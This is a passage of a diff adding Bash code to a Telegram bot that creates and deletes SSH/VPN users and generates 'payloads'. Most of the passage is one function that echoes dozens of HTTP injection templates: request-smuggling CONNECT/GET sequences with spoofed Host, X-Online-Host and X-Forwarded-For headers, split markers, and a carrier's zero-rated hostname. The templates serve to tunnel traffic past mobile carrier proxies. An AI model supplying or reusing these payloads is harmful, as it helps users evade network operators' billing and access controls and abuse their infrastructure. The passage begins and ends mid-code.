&& return 0 + fi + if [[ -z "$3" ]]; then + error_fun 7 && return 0 + elif [[ "$3" != +([0-9]) ]]; then + error_fun 8 && return 0 + elif [[ "$3" -gt "360" ]]; then + error_fun 9 && return 0 + fi + if [[ -z "$4" ]]; then + error_fun 11 && return 0 + elif [[ "$4" != +([0-9]) ]]; then + error_fun 12 && return 0 + elif [[ "$4" -gt "999" ]]; then + error_fun 13 && return 0 + fi + add_user "$1" "$2" "$3" "$4" + if [[ "$?" = "1" ]]; then + local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Usuario No Fue Creado")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + return 0 + else + local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "USUARIO CREADO")\n" + bot_retorno+="$(fun_trans "Usuario"): $1\n" + bot_retorno+="$(fun_trans "Contraseña"): $2\n" + bot_retorno+="$(fun_trans "Duracion"): $3\n" + bot_retorno+="$(fun_trans "Limite"): $4\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown + return 0 + fi +} +userdell_fun () { +error_fun () { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "MODO DE USO")\n" + bot_retorno+="$LINE\n" + bot_retorno+="userdell $(fun_trans "Usuario")\n" + bot_retorno+="$(fun_trans "Exemplo"):\n" + bot_retorno+='userdell admin\n' + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +} +[[ -z "$1" ]] && error_fun && return 0 +rm_user "$1" && { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Eliminado con éxito")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 +} || { +local bot_retorno="$LINE\n" + bot_retorno+="$(fun_trans "Usuario no eliminado")\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode markdown +return 0 + } +} +paygen_fun () { +gerar_pays () { +echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf] +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf] +GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf] +CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf] +[method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf] +[crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf] +[method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999\r\n\r\n +GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf] +[raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf] +[raw][split]GET mhost/ HTTP/1.1[crlf] [crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] +[raw]split]GET mhost/ HTTP/1.1[crlf][crlf] +GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf] +GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf] +CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf] +GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf] +CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1\rHost: mhost\r[crlf]X-Online-Host: mhost\r[crlf]X-Forward-Host: mhost\rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf] +GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf] Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf] Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] +[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf] +[raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf] +GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf] +GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf] +[raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf] +[raw] HTTP/1.0\r\n\r\nGET http://mhost/ HTTP/1.1\r\nHost: mhost\r\nConnection: Keep-Alive\r\nCONNECT mhost\r\n\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf] +GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +[raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1\r\nHost: mhost\r\n\r\n[netData]\r\n\r\n\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n +GET http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf] +GET http://mhost/ 